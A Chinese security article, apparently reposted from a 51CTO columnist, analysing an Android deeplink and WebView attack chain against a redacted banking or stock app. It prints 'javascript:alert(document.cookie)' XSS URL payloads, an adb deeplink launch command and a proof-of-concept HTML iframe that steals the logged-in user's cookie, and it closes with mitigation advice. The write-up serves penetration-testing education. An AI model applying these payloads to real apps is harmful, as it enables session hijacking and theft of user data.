加入收藏 | 设为首页 | 会员中心 | 我要投稿 核心网 (https://www.hxwgxz.com/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 教程 > 正文

APP漏洞利用组合拳——应用克隆案例分析

发布时间:2019-06-03 20:42:50 所属栏目:教程 来源:牛冠杰
导读:一、前言 在工作中遇到了一次Android应用克隆漏洞的案例,由于攻击过程非常有趣,综合利用了多个中低风险漏洞,产生了化腐朽为神奇的攻击效果。在此分享给大家,以扩展渗透测试思路。 二、漏洞详情 1. 漏洞介绍 攻击者可通过散布恶意构造的HTML文件,来窃

在root设备上将APP目录导出到PC上,使用类似grep工具搜索关键字 *.xxx.com、url=、path=、back=、return=,发现多个存在任意URL跳转漏洞或JS代码执行漏洞的URL。

  • https://m.stock.xxx.com/static/router.html?desturl=https://www.baidu.com,任意URL跳转漏洞和XSS跨站脚本攻击,不能读文件。
  • https://test.xxx.com/ibp/outlets/index.html?returnUrl=javascript:alert(document.cookie) ,需要点击返回按钮触发跳转,任意URL跳转和XSS跨站脚本攻击,不能读文件。
  • https://static.xxx.com/pages/addRouter.html?url=https://www.baidu.com ,需要点击返回按钮触发跳转,任意URL跳转和XSS跨站脚本攻击,不能读文件。
  • https://static.xxx.com/ pages /entrance.html?discontinueUrl=javascript:alert(document.cookie) ,需要点击确定按钮,无法任意URL跳转,不能读文件,但是可以执行Javascript;。
  • https://static.xxx.com/ pages/accllation/transit.html?returnUrl=javascript:alert(document.cookie) ,无法任意URL跳转,不能读文件,但是可以执行Javascript。

Payload示例:adb shell am start -a "android.intent.action.VIEW" -d "mydeeplink://?mydeeplink={url:'https://static.xxx.com/pages/accllation/transit.html?returnUrl=https://www.baidu.com'}" ,可通过命令行启动Android虚拟机中的APP,并访问百度页面,绕过白名单限制,如图3.3所示。

子域名URL跳转百度成功

图3.3  子域名URL跳转百度成功

4. 构造恶意HTML获取Cookie

结合以上分析过程,通过构造恶意HTML文件,结合Deeplink、白名单绕过和JS代码执行漏洞,获取用户Cookie,使用Cookie获取用户敏感信息。

构造综合利用POC:

  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
  2. <html xmlns="http://www.w3.org/1999/xhtml"> 
  3. <head> 
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
  5. <title></title> 
  6. </head> 
  7. <body> 
  8. <br/><br/> 
  9. <iframe name="child" width="300" height="300" src="mydeeplink://?mydeeplink={url:' https://static.xxx.com/pages/accllation/transit.html?returnUrl=javascript:alert(document.cookie)'}" style="padding:0px;" ></iframe> 
  10. </body> 
  11. </html> 

在Android模拟器中打开APP,登录账号,然后按Home键返回主界面。

在浏览器中访问构造的恶意HTML链接 http://192.168.96.1/test.html,自动唤醒APP,待页面加载完毕后,成功弹出Cookie,如图3.4所示。

获取用户cookie

图3.4   获取用户cookie

当然也可以不显示弹窗,直接把Cookie发送到自己的服务器上,以此窃取的Cookie向服务端发起请求,就可以获得该用户的数据了。

四、总结

简单梳理一下整个漏洞利用流程,如图4.1所示。

漏洞利用流程

图4.1  漏洞利用流程

从图4.1可见,Intent Scheme、WebView和子域名这三处中任意一处做了有效过滤的话,都可以阻止这次漏洞攻击。另外,在搜索的漏洞URL结果中可以发现,该APP的防护措施是比较完善的,阻止了file协议的文件读取目录,而且部分子域名页面所加载的JS也使用正则表达式做了任意URL跳转的防护,但还是忽略了对伪协议“javascript:”的防范(见图4.2)。

漏洞触发点

图4.2  漏洞触发点

随着业务的拓展,以及网络的不断扩展和日趋复杂,对内、对外服务不断增多,为企业内部制定一个安全编码规范就显得尤为重要。

总之,网络安全路途漫漫,仍然需要我们不断探索,以研究出更利于网络安全的软件。

【本文为51CTO专栏作者“安全加”原创稿件,转载请联系原作者】

戳这里,看该作者更多好文

(编辑:核心网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读